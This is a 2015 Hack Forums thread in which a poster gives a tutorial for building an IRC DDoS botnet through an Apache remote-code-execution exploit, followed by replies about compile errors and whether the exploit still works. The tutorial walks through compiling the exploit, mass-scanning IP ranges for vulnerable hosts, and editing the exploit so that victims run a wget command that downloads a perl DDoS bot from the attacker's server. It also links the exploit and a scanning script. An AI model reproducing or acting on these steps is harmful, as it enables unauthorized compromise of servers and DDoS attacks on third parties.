+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Botnets and Botting (https://hackforums.net/forumdisplay.php?fid=92)
+---- Thread: [TUT]Apache RCE Exploit[TUT][UPDATE] (/showthread.php?tid=4849150)
[TUT]Apache RCE Exploit[TUT][UPDATE] - Black Scorpion - Jun 3, 2015
Hey guys I finally had time to make this Tutorial 🎉! This will be a Copy paste one but updated!
And BEFORE YOUR "START", do ifconfig on terminal and See if its eth0 then you can continue! Venet0 won't work but ill try to make a tut on here on how to do it on VENET0!
Choosing our bot:
Some of you might have your own l33t custom coded perl bot, and some of you might me lmg nubs that don't even know what this is well head over here:
http://pastebin.com/search?cx=0133056354...&sa=Search
that's some perl bots now for this tutorial we'll be using this bot:
http://pastebin.com/CJpxW5tx
Download it and rename it to ddosbot.pl "not important"
Requirements:
a vps / dedi the higher specs the better.
an updated server ( yum update/apt-get update)
httpd ( yum install httpd )
httpd running ( service httpd start )
the exploit ( download link below)
a perl bot ( top of the thread)
yum install gcc libssl-dev screen or apt-get install gcc libssl-dev
Getting started:
1.Upload the files to your root directory
2. Upload the perl bot you've downloaded to /var/www/html, and edit the information to fit your irc server information
BEFORE YOU Do ANYTHING edit the xpl.c FILE FIRST then do this command to compile it!
gcc -o xpl xpl.c -lssl -lcrypt
Scanning for a vuln list:
1. Go to the apache folder
2. chmod +x *
3. ./Accounts 22 -a (range 1-254) -s 8 -i eth0 (note this part is suspendable so make sure your server allows this/ecatel for an eg allows this.
4. Once it's done do:
./check bios.txt apache.txt 300 cgi
wait for it to finish (might take several hours depends on the threads the higher the faster
Editing apache to fit your exploiting needs:
1. nano cmd and where it says wget http://putyourserveriphere/ddosbot.pl and the other one replace it with http://putyourserveriphere/ddosbot.pl
2. nano do. then check where it says --reverse-ip put your server ip
3. Last thing to do is nano xpl.c then ctrl+w search for http:// and put your serverip/ddosbot.pl so http:/ip/ddosbot.pl
Exploiting:
1. screen -dm ./loop
2. ./do apache.txt
give it a little bit to scan the bots this takes time it's not pma, but the bots are stable that's the point.
I take no credits of creating this exploit as noted in the exploit it was created by kingcope.
Thanks for reading if i helped you thumbs up to make me feel better:)
dl link: https://www.sendspace.com/file/ccku30ight
Including My Auto-Pilot Script for scanning. It auto Scans then Filters the list to get duplicates out! MAKE sure to put it in the pid234 Directory! LINK: https://www.sendspace.com/file/2qtyxj
Enjoy! 👍 🎉
* - Kumara - Jun 3, 2015
Nice man. Not using, but very descriptive, and very helpful.
* - Black Scorpion - Jun 3, 2015
(Jun 3, 2015 01:39 PM)Greenpoison Wrote: Nice man. Not using, but very descriptive, and very helpful.
Your Welcome Greenpoison! Enjoy 😉
* - Unafflicted - Jun 3, 2015
You broke the link to the exploit, and don't use Pastebin for that shit, shit gets reported.
Otherwise, seems very descriptive and helpful.
* - mkbugzz - Jun 3, 2015
Great share man. Looks like a noobie can host a irc bot online 😏
* - rawip - Jun 3, 2015
This exploit is fucking dead.
Why are you even bothering to write this?
* - Black Scorpion - Jun 3, 2015
(Jun 3, 2015 03:45 PM)rawip Wrote: This exploit is fucking dead.
Why are you even bothering to write this?
Because I can. If I find diffrent exploits that still work ill post a how to on it! 😉
* - SIM-2198759 - Jun 3, 2015
Hey, thanks for this, but i get an error compiling...
Spoiler (Click to View)
![[Image: uv4JO2e.png]](https://i.imgur.com/uv4JO2e.png)
* - Unafflicted - Jun 3, 2015
(Jun 3, 2015 05:40 PM)๖ۣۜSUP3RD3AD Wrote: Hey, thanks for this, but i get an error compiling...
Spoiler (Click to View)
Well, you don't have openssl on your system.
* - Black Scorpion - Jun 3, 2015
I forgot to include that to install OpenSSL forgot sorry!
* - Chegu - Jun 3, 2015
Nevermind i fixed my problem, if you cant install libssl-dev use openssl-devel instead :)
EDiT: Has anyone been able to pull in any bots with this? Seems pretty dead from what i've tried.
Well, this was directly copy-pasted from old thread posted by banned member; https://hackforums.net/showthread.php?tid=4435408
* - Black Scorpion - Jun 7, 2015
(Jun 3, 2015 10:29 PM)Chegu Wrote: Nevermind i fixed my problem, if you cant install libssl-dev use openssl-devel instead :)I mentioned that in the thread but there are some updates to run it!
EDiT: Has anyone been able to pull in any bots with this? Seems pretty dead from what i've tried.
Well, this was directly copy-pasted from old thread posted by banned member; https://hackforums.net/showthread.php?tid=4435408
* - TSBSinner - Jun 7, 2015
I have to agree this exploit is dead, but to the newbs out there it might get them pointed in the right direction without spoon feeding them....
* - Black Scorpion - Jun 7, 2015
(Jun 7, 2015 10:51 AM)TSBSinner Wrote: I have to agree this exploit is dead, but to the newbs out there it might get them pointed in the right direction without spoon feeding them....You are right about that most of the people one here weren't spoon feed. Had to figure out on your own and use http://www.google.com/...